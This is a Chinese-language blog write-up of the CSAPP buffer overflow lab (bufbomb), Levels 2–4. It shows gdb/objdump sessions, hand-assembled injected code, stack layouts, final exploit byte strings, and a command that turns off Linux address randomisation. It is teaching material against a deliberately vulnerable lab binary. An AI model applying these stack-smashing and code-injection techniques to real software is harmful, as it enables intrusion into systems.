CSAPP缓冲区溢出攻击实验(下)

3.3 Level 2: 爆竹

实验要求

这一个Level的难度陡然提升,我们要让getbuf()返回到bang()而非test(),并且在执行bang()之前将global_value的值修改为cookie。因为全局变量与代码不在一个段中,所以我们不能让缓冲区一直溢出到.bss段(因为global_value初始化为0,所以它会被放在.bss而非.data段以节省空间)覆盖global_value的值。若修改了.bss和.text之间某些只读的段会引起操作系统的“警觉”而报错。所以在进入bang()之前我们需要执行一小段我们自己的代码去修改global_value,这一段代码就叫做 exploit code

int global_value = 0;

void bang(int val)
{
if (global_value == cookie) {
printf("Bang!: You set global_value to 0x%x\n", global_value);
validate(2);
} else
printf("Misfire: global_value = 0x%x\n", global_value);
exit(0);
}

第一步:bang()和global_value地址

我们驾轻就熟地得到bang()的入口地址0x08048e10,以及global_value的地址0x0804a1c4。

[root@vm bufbomb]$ objdump -t exploitcode | grep -e bang -e global_value
080483b9 g F .text 0000001d bang
080495bc g O .bss 00000004 global_value

第二步:运行时的栈地址

获得栈地址,从而知道我们注入代码的位置。方法就是为函数getbuf加断点,发现GDB会把断点加到0x8048ad6并停在这里,看下反汇编代码就能发现,0x8048ad6就是getbuf()执行完常规的三条指令(%ebp压栈、%ebp移动到%esp位置、移动%esp分配栈空间)之后的地方。现在就用info registers拿到我们最关心的栈地址%ebp=0xbfffb538:

[root@vm bufbomb]$ objdump -d bufbomb | grep -A 15 "<getbuf>:"
08048ad0 <getbuf>:
8048ad0: 55 push %ebp
8048ad1: 89 e5 mov %esp,%ebp
8048ad3: 83 ec 28 sub $0x28,%esp
8048ad6: 8d 45 e8 lea -0x18(%ebp),%eax
8048ad9: 89 04 24 mov %eax,(%esp)
8048adc: e8 df fe ff ff call 80489c0 <Gets>
8048ae1: c9 leave
8048ae2: b8 01 00 00 00 mov $0x1,%eax
8048ae7: c3 ret
8048ae8: 90 nop
8048ae9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi [root@vm bufbomb]$ gdb bufbomb
GNU gdb (GDB) Red Hat Enterprise Linux (7.2-75.el6)
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-redhat-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/Temp/bufbomb/bufbomb...done. (gdb) b getbuf
Breakpoint 1 at 0x8048ad6 (gdb) run -t cdai
Starting program: /root/Temp/bufbomb/bufbomb -t cdai
Team: cdai
Cookie: 0x5e5ee04e Breakpoint 1, 0x08048ad6 in getbuf ()
Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.149.el6_6.4.i686 (gdb) info registers
eax 0xbfffb520 -1073760992
ecx 0x0 0
edx 0x8910d0 8982736
ebx 0x0 0
esp 0xbfffb510 0xbfffb510
ebp 0xbfffb538 0xbfffb538
esi 0x804b018 134524952
edi 0xffffffff -1
eip 0x8048ad9 0x8048ad9 <getbuf+9>
eflags 0x282 [ SF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51

第三步:exploit代码的机器指令

为了避免手写机器指令出错,我们写一小段C和汇编程序,编译后提取出编译器为我们生成好的机器指令。其中movl $0x5e5ee04e,0x80495bc和call 80483b9两行就是我们想要的:

// exploitcode.c
#include <stdio.h> int global_value = 0; void bang(int val); int main(int argc, char const *argv[])
{
// Mock exploit code
global_value = 1583276110; //0x5e5ee04e
bang(0);
return 0;
} void bang(int val)
{
printf("%d\n", global_value);
} // exploitcode.s
pushl $0x08048e10
ret
[root@vm bufbomb]$ gcc -o exploitcode exploitcode.c
[root@vm bufbomb]$ objdump -d exploitcode | grep -A15 "<main>:"
08048384 <main>:
8048384: 8d 4c 24 04 lea 0x4(%esp),%ecx
8048388: 83 e4 f0 and $0xfffffff0,%esp
804838b: ff 71 fc pushl 0xfffffffc(%ecx)
804838e: 55 push %ebp
804838f: 89 e5 mov %esp,%ebp
8048391: 51 push %ecx
8048392: 83 ec 04 sub $0x4,%esp
8048395: c7 05 bc 95 04 08 4e movl $0x5e5ee04e,0x80495bc
804839c: e0 5e 5e
804839f: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80483a6: e8 0e 00 00 00 call 80483b9 <bang>
... [root@vm bufbomb]$ gcc -c exploitcode.s
[root@vm bufbomb]$ objdump -d exploitcode.o exploitcode.o: file format elf32-i386 Disassembly of section .text: 00000000 <.text>:
0: 68 10 8e 04 08 push $0x8048e10
5: c3 ret

关键技术点

先说一下碰到的问题,都是顺利做出这个实验的关键点:

  1. Linux内存地址随机化:Linux为了保护程序,每次加载都会使用不同的基地址,所以每次用GDB调试进入getbuf()后查看%esp和%ebp都是不同的。%ebp是动态的可就麻烦了!没法知道准确的栈地址怎么让我们注入的代码拿到CPU控制权啊?尝试断点卡在getbuf()时立即去修改exploit字符串也失败了,貌似bufbomb提前加载了它似的。最后没办法,手动关闭掉地址随机化:echo “0” > /proc/sys/kernel/randomize_va_space
  2. call绝对地址:call/jmp默认都是near跳转,使用相对地址。而我们注入的代码是在运行时栈上,要跳转的bang()是在.text段上,二者相隔“十万八千里”,直接计算相对地址的话将会是一个很大的数字。提示里建议:先将bang()地址压入栈,然后用ret指令实现绝对地址跳转,“微操作”啊!
  3. 自动生成机器指令:可以写一小段对应的C代码,但像把bang()地址压入栈后ret这种就没法写出对应的C了。提示里也给出了建议:新建一个.s汇编文件,编写想翻译的汇编后用gcc -c编译,然后objdump反汇编就行了。.s里可以只包含我们想翻译的汇编,不用是完整的代码
  4. GDB调试命令参数:之前一直用cat exploit.raw | ./sendstring | ./bufbomb -t cdai运行,但在GDB里执行run时是不支持管道的。还想调试怎么办?最简单的办法就是把cat exploit.raw | ./sendstring > tmp重定向到临时文件,然后在GDB里run -t cdai < tmp启动调试。

最终exploit字符串

至此,bang()和global_value的地址、运行时栈地址、exploit的机器指令就都有了,万事俱备,接下来就可以构造溢出缓冲区的字节串了:

……………………………………………………………………………………………. 0xbfffb540

Return Address -> 20 b5 ff bf 0xbfffb520

……………………………………………………………………………………………. 0xbfffb53c

Saved %ebp -> padding 11 22 33 44

……………………………………………………………………………………………. 0xbfffb538 <- %ebp

padding 00

……………………………………………………………………………………………. 0xbfffb537

c3 ret

……………………………………………………………………………………………. 0xbfffb536

68 10 8e 04 08 pushl bang()

……………………………………………………………………………………………. 0xbfffb531

c7 04 24 00 00 00 00 movl $0x0, (%esp)

……………………………………………………………………………………………. 0xbfffb52a

c7 05 c4 a1 04 08 4e e0 5e 5e movl $0x5e5ee04e, global_value

……………………………………………………………………………………………. 0xbfffb520

……………………………………………………………………………………………. 0xbfffb510 <- %esp

根据我们的预想,getbuf()调用返回后的栈应该是这个样子,%esp回到调用getbuf()前的位置,而%ebp被损坏,但没关系(一直困惑bang()压入栈时不会报错吗?),最重要的是%eip指向了我们注入的代码起始位置:

……………………………………………………………………………………………. 0x44332211 <- %ebp

……………………………………………………………………………………………. 0xbfba3540 <- %esp

……………………………………………………………………………………………. 0xbfffb537

c3 ret

……………………………………………………………………………………………. 0xbfffb536

68 10 8e 04 08 pushl bang()

……………………………………………………………………………………………. 0xbfffb531

c7 04 24 00 00 00 00 movl $0x0, (%esp)

……………………………………………………………………………………………. 0xbfffb52a

c7 05 c4 a1 04 08 4e e0 5e 5e movl $0x5e5ee04e, global_value

……………………………………………………………………………………………. 0xbfffb520 <- %eip

实验结果

运行一下,真的成功了!做这个实验的感想就是,要是没有Linux内存地址随机化保护的话,还真挺容易利用缓冲区溢出漏洞exploit代码的。但要是buf是全局变量,地址固定的话,是不是Linux也无能为力了呢?

[root@vm bufbomb]$ cat exploit_level_2.raw
c705c4a104084ee05e5ec704240000000068108e0408c3001122334420b5ffbf [root@vm bufbomb]$ cat exploit_level_2.raw | ./sendstring | ./bufbomb -t cdai
Team: cdai
Cookie: 0x5e5ee04e
Type string:Bang!: You set global_value to 0x5e5ee04e
NICE JOB!
Sent validation information to grading server

3.4 Level 3: 炸药

前面三个实验都使程序跳转到一个会立刻终止的函数,smoke()、fizz()、bang()都是这样的,所以尽管我们破坏了栈,也没有关系,反正程序不久后就会终止。但对于这一级别的实验就不可行了,在Level 3里,我们将getbuf()的返回值修改为我们的cookie,并“悄无声息”地返回到调用者test()中。

void test()
{
int val;
volatile int local = 0xdeadbeef;
val = getbuf(); /* Check for corrupted stack */
if (local != 0xdeadbeef) {
printf("Sabotaged!: the stack has been corrupted\n");
}
else if (val == cookie) {
printf("Boom!: getbuf returned 0x%x\n", val);
validate(3);
}
else {
printf("Dud: getbuf returned 0x%x\n", val);
}
} int getbuf()
{
char buf[12];
Gets(buf);
return 1;
}

仿照上一个实验的三步。首先第一步,我们要找的不是test()的入口地址,而是test()在调用getbuf()之后的那一条指令的地址,0x08048db2。

[root@vm bufbomb]$ objdump -d bufbomb | grep -A20 "<test>:"
08048da0 <test>:
8048da0: 55 push %ebp
8048da1: 89 e5 mov %esp,%ebp
8048da3: 83 ec 18 sub $0x18,%esp
8048da6: c7 45 fc ef be ad de movl $0xdeadbeef,0xfffffffc(%ebp)
8048dad: e8 1e fd ff ff call 8048ad0 <getbuf>
8048db2: 89 c2 mov %eax,%edx
...

第二步,用GDB获得运行时栈地址是0x0xbfffb538,saved %ebp是0x0xbfffb558。

[root@vm bufbomb]$ gdb bufbomb
...
(gdb) b getbuf
Breakpoint 1 at 0x8048ad6 (gdb) run -t cdai < tmp
Team: cdai
Cookie: 0x5e5ee04e Breakpoint 1, 0x08048ad6 in getbuf ()
(gdb) info re
eax 0xc 12
ecx 0x0 0
edx 0x3760d0 3629264
ebx 0x0 0
esp 0xbfffb510 0xbfffb510
ebp 0xbfffb538 0xbfffb538
esi 0x804b018 134524952
edi 0xffffffff -1
eip 0x8048ad6 0x8048ad6 <getbuf+6>
eflags 0x282 [ SF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51 (gdb) x/18x $sp
0xbfffb510: 0x0076e2d8 0x00000000 0x00000000 0x00000000
0xbfffb520: 0x080484da 0x00000000 0x0804a12c 0xbfffb564
0xbfffb530: 0x00374ff4 0x0804b018 0xbfffb558 0x08048db2
0xbfffb540: 0x00279e83 0x003754c0 0x0804966e 0xbfffb564
0xbfffb550: 0xbfffb564 0xdeadbeef

第三步,编译手写汇编代码得到机器指令。

[root@vm bufbomb]$ gcc -c exploitcode_level2.s

[root@vm bufbomb]$ cat exploitcode_level2.s
movl $0x5e5ee04e,%eax
pushl $0x08048da0
ret [root@vm bufbomb]$ objdump -d exploitcode_level2.o exploitcode_level2.o: file format elf32-i386 Disassembly of section .text: 00000000 <.text>:
0: b8 4e e0 5e 5e mov $0x5e5ee04e,%eax
5: 68 a0 8d 04 08 push $0x8048da0
a: c3 ret

……………………………………………………………………………………………. 0xbfffb540

Return Address(exploit) -> 20 b5 ff bf 0xbfffb520

……………………………………………………………………………………………. 0xbfffb53c

Saved %ebp -> 38 b5 ff bf 0xbfffb538

……………………………………………………………………………………………. 0xbfffb538 <- %ebp

padding 00112233445566

……………………………………………………………………………………………. 0xbfffb531

c3 ret

……………………………………………………………………………………………. 0xbfffb530

c9 leave

……………………………………………………………………………………………. 0xbfffb52f

68 58 b5 ff bf pushl saved %ebp

……………………………………………………………………………………………. 0xbfffb52a

68 b2 8d 04 08 pushl next instruction in test()

……………………………………………………………………………………………. 0xbfffb525

b8 4e e0 5e 5e movl $0x5e5ee04e, %eax

……………………………………………………………………………………………. 0xbfffb520

……………………………………………………………………………………………. 0xbfffb510 <- %esp

关键技术点

  1. 必须重利用0xbfffb538和0xbfffb53c位置来保存test()的Saved %ebp和Return address,这样我们exploit代码执行leave和ret时,就像又“重播”了getbuf()里的leave和ret一样,这样才能不被察觉地返回到test()中!
  2. push压栈修改的是%esp而非%ebp

A.刚跳转到exploit代码时的栈

……………………………………………………………………………………………. 0xbfffb540 <- %esp

Return Address(exploit)

……………………………………………………………………………………………. 0xbfffb53c

Saved %ebp

……………………………………………………………………………………………. 0xbfffb538 <- %ebp

……………………………………………………………………………………………. 0xbfffb531

c3 ret

……………………………………………………………………………………………. 0xbfffb530

c9 leave

……………………………………………………………………………………………. 0xbfffb52f

68 58 b5 ff bf pushl saved %ebp

……………………………………………………………………………………………. 0xbfffb52a

68 b2 8d 04 08 pushl next instruction in test()

……………………………………………………………………………………………. 0xbfffb525

b8 4e e0 5e 5e movl $0x5e5ee04e, %eax

……………………………………………………………………………………………. 0xbfffb520 <- %eip

B.压入test()的return地址和%ebp后的栈

……………………………………………………………………………………………. 0xbfffb540

Return Address(exploit) -> b2 8d 04 08

……………………………………………………………………………………………. 0xbfffb53c

Saved %ebp -> 58 b5 ff bf

……………………………………………………………………………………………. 0xbfffb538 <- %ebp/%esp

……………………………………………………………………………………………. 0xbfffb531

c3 ret

……………………………………………………………………………………………. 0xbfffb530

c9 leave

……………………………………………………………………………………………. 0xbfffb52f <- %eip

C.执行leave还原%ebp和%esp后的栈

leave相当于 mov %ebp,%esp 并且 pop %ebp。

……………………………………………………………………………………………. 0xbfffb558 <- %ebp

……………………………………………………………………………………………. 0xbfffb540

Return Address(exploit) -> b2 8d 04 08

……………………………………………………………………………………………. 0xbfffb53c <- %esp

Saved %ebp -> 58 b5 ff bf

……………………………………………………………………………………………. 0xbfffb538

……………………………………………………………………………………………. 0xbfffb531

c3 ret

……………………………………………………………………………………………. 0xbfffb530 <- %eip

D.执行ret跳转回test()后的栈

ret相当于 pop %eip。

……………………………………………………………………………………………. 0xbfffb558 <- %ebp

……………………………………………………………………………………………. 0xbfffb540 <- %esp

Return Address(exploit) -> b2 8d 04 08

……………………………………………………………………………………………. 0xbfffb53c

Saved %ebp -> 58 b5 ff bf

……………………………………………………………………………………………. 0xbfffb538

89 c2 mov %eax,%edx

……………………………………………………………………………………………. 0x08048db2 <- %eip

运行一下,成功了!

[root@vm bufbomb]$ cat exploit_level_3.raw
b84ee05e5e68b28d04086858b5ffbfc9c30011223344556638b5ffbf20b5ffbf [root@vm bufbomb]$ cat exploit_level_3.raw | ./sendstring | ./bufbomb -t cdai
Team: cdai
Cookie: 0x5e5ee04e
Type string:Boom!: getbuf returned 0x5e5ee04e
NICE JOB!
Sent validation information to grading server

3.5 Level 4: 硝化甘油

讲义上说了,完成Level 0到3就已经是100分了!这最终Level的挑战就是解决前面遇到过的,运行时栈地址会变化的问题。CMU说这里给出的方法不稳定,有时奏效有时segfault,标题里的一种不稳定的炸药-“硝化甘油”正是暗喻了这种攻击方法的不稳定。用bufbomb的-n参数进入Level 4模式,此时程序不会调用getbuf()而是其升级版getbufn():

int getbufn()
{
char buf[512];
Gets(buf);
return 1;
}

getbufn()的调用者会使用alloca库函数随机分配栈空间,然后连续调用getbufn()五次。我们的任务与上一Level完全相同,就是保证getbufn()每次都返回我们的cookie而不是1。

CSAPP缓冲区溢出攻击实验(下)的更多相关文章

  1. CSAPP缓冲区溢出攻击实验(上)

    CSAPP缓冲区溢出攻击实验(上) 下载实验工具.最新的讲义在这. 网上能找到的实验材料有些旧了,有的地方跟最新的handout对不上.只是没有关系,大体上仅仅是程序名(sendstring)或者參数 ...

  2. CSAPP lab3 bufbomb-缓冲区溢出攻击实验(下)bang boom kaboom

    CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上)smoke fizz CSAPP lab3 bufbomb-缓冲区溢出攻击实验(下)bang boom kaboom 栈结构镇楼 这里先给 ...

  3. CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上)smoke fizz

    前言 完成这个实验大概花费一天半的时间,看了很多大佬的博客,也踩了很多的坑,于是打算写一篇博客重新梳理一下思路和过程,大概会有两篇博客吧. CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上 ...

  4. Ubuntu下缓冲器溢出攻击实验(可以看看问题分析)

    缓冲器溢出攻击实验题目: 下边的代码摘自<黑客攻防技术宝典——系统实战篇(第 2 版)>2.5 节,攻击该代码,获得root 权限,实现相应的效果. strcpy(little_array ...

  5. CSAPP:逆向工程【缓冲区溢出攻击】

    逆向工程[缓冲区溢出攻击] 任务描述 掌握函数调用时的栈帧结构,利用输入缓冲区的溢出漏洞,将攻击代码嵌入当前程序的栈帧中,使程序执行我们所期望的过程. 主要方法 溢出的字符将覆盖栈帧上的数据,会覆盖程 ...

  6. Linux下缓冲区溢出攻击的原理及对策(转载)

    前言 从逻辑上讲进程的堆栈是由多个堆栈帧构成的,其中每个堆栈帧都对应一个函数调用.当函数调用发生时,新的堆栈帧被压入堆栈:当函数返回时,相应的堆栈帧从堆栈中弹出.尽管堆栈帧结构的引入为在高级语言中实现 ...

  7. Linux下缓冲区溢出攻击的原理及对策

    前言 从逻辑上讲进程的堆栈是由多个堆栈帧构成的,其中每个堆栈帧都对应一个函数调用.当函数调用发生时,新的堆栈 帧被压入堆栈:当函数返回时,相应的堆栈帧从堆栈中弹出.尽管堆栈帧结构的引入为在高级语言中实 ...

  8. CSAPP阅读笔记-变长栈帧,缓冲区溢出攻击-来自第三章3.10的笔记-P192-P204

    一.几个关于指针的小知识点: 1.  malloc是在堆上动态分配内存,返回的是void *,使用时会配合显式/隐式类型转换,用完后需要用free手动释放. alloca是标准库函数,可以在栈上分配任 ...

  9. CSAPP 缓冲区溢出试验

    缓冲区溢出试验是CSAPP课后试验之一,目的是: 更好的理解什么是缓冲区溢出 如何攻击带有缓冲区溢出漏洞的程序 如何编写出更加安全的代码 了解并理解编译器和操作系统为了让程序更加安全而提供的几种特性 ...

随机推荐

  1. c++简单线程池实现

    线程池,简单来说就是有一堆已经创建好的线程(最大数目一定),初始时他们都处于空闲状态,当有新的任务进来,从线程池中取出一个空闲的线程处理任务,然后当任务处理完成之后,该线程被重新放回到线程池中,供其他 ...

  2. BST讲解

    BST 第一步,什么是BST,所谓BST就是满足一种特定性质的二叉树,这个性质一般情况是当前节点的权值比他的左子树的所有点的权值大,比他的右子树的所有点的权值小,满足这样性质的二叉树就称为BST,下面 ...

  3. Mac下安装oh-my-zsh

    Mac下自带的终端并不好用,当你打开终端的时候是一个白花花的窗口,其实Mac自带几种shell,默认使用的是bash,可以通过 cat /etc/shells 查看几种shell bin/bash / ...

  4. pytorch 移动端框架 thnets 附c示例代码

    前年年前做一个手机移动端图像识别项目的时候, 先后尝试了mxnet,thnets,caffe,tensorflow. 当时的情况是,mxnet内存管理奇差,内存经常由于模型运算分配不足,app挂掉. ...

  5. Evensgn 的债务

    问题 A: Evensgn 的债务 大致题意:a欠b5元,b欠c5元,那么最小债务总额为a欠c5元,给你关系,求最小债务总额! 不想说话...一句超级大水题,我居然没读懂!!差点想到网络流了...其实 ...

  6. 51 nod 1456 小K的技术(强连通 + 并查集)

    1456 小K的技术 题目来源: CodeForces 基准时间限制:1 秒 空间限制:131072 KB 分值: 80 难度:5级算法题   苏塞克王国是世界上创新技术的领先国家,在王国中有n个城市 ...

  7. 【USACO07NOV】电话线Telephone Wire

    题目描述 电信公司要更换某个城市的网线.新网线架设在原有的 N(2 <= N <= 100,000)根电线杆上, 第 i 根电线杆的高度为 height_i 米(1 <= heigh ...

  8. poj 2528 (线段树+离散化)

    poj 2528 For each input data set print the number of visible posters after all the posters are place ...

  9. 【Uva 11280 飞到弗雷德里顿】

    ·你可以尽情地坐飞机,但停留次数遭到限制. ·英文题,述大意:       给出一张有向图,起点是输入的第一个城市,终点是输入的最后一个城市.给出q个询问,每个询问含一个t,表示 #include&l ...

  10. Ubuntu 16.04 Vim安装及配置

    安装VIM 默认已经安装了VIM-tiny acewu@acewu-computer:~$ locate vi | grep 'vi$' |xargs ls -al lrwxrwxrwx 1 root ...